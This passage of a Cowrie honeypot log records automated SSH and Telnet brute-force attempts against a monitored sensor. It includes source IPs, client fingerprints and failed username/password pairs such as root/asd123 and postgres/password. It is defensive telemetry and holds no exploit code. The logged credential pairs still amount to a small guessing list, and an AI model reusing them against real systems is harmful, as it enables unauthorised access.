256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:57.138158Z","src_ip":"159.203.92.129","session":"67cbcf0460b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MaHan","password":"MaHan123","message":"login attempt [MaHan/MaHan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:57.153868Z","src_ip":"159.203.92.129","session":"67cbcf0460b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:57.803097Z","src_ip":"176.65.139.95","session":"d0d540e17a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:58.159758Z","src_ip":"159.203.92.129","session":"67cbcf0460b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56528,"dst_ip":"159.203.135.109","dst_port":22,"session":"d103f93bb7a9","protocol":"ssh","message":"New connection: 192.109.200.78:56528 (159.203.135.109:22) [session: d103f93bb7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:59.737986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:59.741839Z","src_ip":"192.109.200.78","session":"d103f93bb7a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:59.825834Z","src_ip":"192.109.200.78","session":"d103f93bb7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:00.682861Z","src_ip":"192.109.200.78","session":"d103f93bb7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00149178504944,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:01.274729Z","src_ip":"152.59.179.89","session":"cdd753850c29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:01.767576Z","src_ip":"192.109.200.78","session":"d103f93bb7a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59168,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ddf19ce015b","protocol":"ssh","message":"New connection: 176.65.139.95:59168 (159.203.135.109:22) [session: 7ddf19ce015b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:02.609569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:02.761732Z","src_ip":"176.65.139.95","session":"7ddf19ce015b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:02.765603Z","src_ip":"176.65.139.95","session":"7ddf19ce015b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:03.707060Z","src_ip":"176.65.139.95","session":"7ddf19ce015b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":55908,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d4208c5a89b","protocol":"telnet","message":"New connection: 152.59.179.89:55908 (10.17.0.5:23) [session: 2d4208c5a89b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:03.839555Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56540,"dst_ip":"159.203.135.109","dst_port":22,"session":"91bf98588fa6","protocol":"ssh","message":"New connection: 192.109.200.78:56540 (159.203.135.109:22) [session: 91bf98588fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:04.028229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:04.032438Z","src_ip":"192.109.200.78","session":"91bf98588fa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:04.115012Z","src_ip":"192.109.200.78","session":"91bf98588fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:04.364651Z","src_ip":"192.109.200.78","session":"91bf98588fa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:04.794304Z","src_ip":"176.65.139.95","session":"7ddf19ce015b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:05.448822Z","src_ip":"192.109.200.78","session":"91bf98588fa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37634,"dst_ip":"159.203.135.109","dst_port":22,"session":"47bd06538e36","protocol":"ssh","message":"New connection: 192.109.200.78:37634 (159.203.135.109:22) [session: 47bd06538e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:08.134491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:08.142270Z","src_ip":"192.109.200.78","session":"47bd06538e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:08.226052Z","src_ip":"192.109.200.78","session":"47bd06538e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password","message":"login attempt [postgres/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:08.664449Z","src_ip":"192.109.200.78","session":"47bd06538e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:09.748614Z","src_ip":"192.109.200.78","session":"47bd06538e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53478,"dst_ip":"159.203.135.109","dst_port":22,"session":"e682c8db3574","protocol":"ssh","message":"New connection: 176.65.139.95:53478 (159.203.135.109:22) [session: e682c8db3574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:09.968620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:10.041918Z","src_ip":"176.65.139.95","session":"e682c8db3574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:10.096366Z","src_ip":"176.65.139.95","session":"e682c8db3574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:10.518872Z","src_ip":"176.65.139.95","session":"e682c8db3574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:11.614459Z","src_ip":"176.65.139.95","session":"e682c8db3574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37652,"dst_ip":"159.203.135.109","dst_port":22,"session":"20aea3d16e9e","protocol":"ssh","message":"New connection: 192.109.200.78:37652 (159.203.135.109:22) [session: 20aea3d16e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:12.356872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:12.362398Z","src_ip":"192.109.200.78","session":"20aea3d16e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:12.449639Z","src_ip":"192.109.200.78","session":"20aea3d16e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:12.703043Z","src_ip":"192.109.200.78","session":"20aea3d16e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:13.792958Z","src_ip":"192.109.200.78","session":"20aea3d16e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37668,"dst_ip":"159.203.135.109","dst_port":22,"session":"3867f771ae4d","protocol":"ssh","message":"New connection: 192.109.200.78:37668 (159.203.135.109:22) [session: 3867f771ae4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:16.710993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:16.715639Z","src_ip":"192.109.200.78","session":"3867f771ae4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:16.800531Z","src_ip":"192.109.200.78","session":"3867f771ae4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53528,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f461cb920bd","protocol":"ssh","message":"New connection: 176.65.139.95:53528 (159.203.135.109:22) [session: 5f461cb920bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:16.979822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:16.989682Z","src_ip":"176.65.139.95","session":"5f461cb920bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:17.046260Z","src_ip":"192.109.200.78","session":"3867f771ae4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:17.063067Z","src_ip":"176.65.139.95","session":"5f461cb920bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:17.587929Z","src_ip":"176.65.139.95","session":"5f461cb920bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:11:18.130488Z","src_ip":"192.109.200.78","session":"3867f771ae4d","protocol":"ssh"}
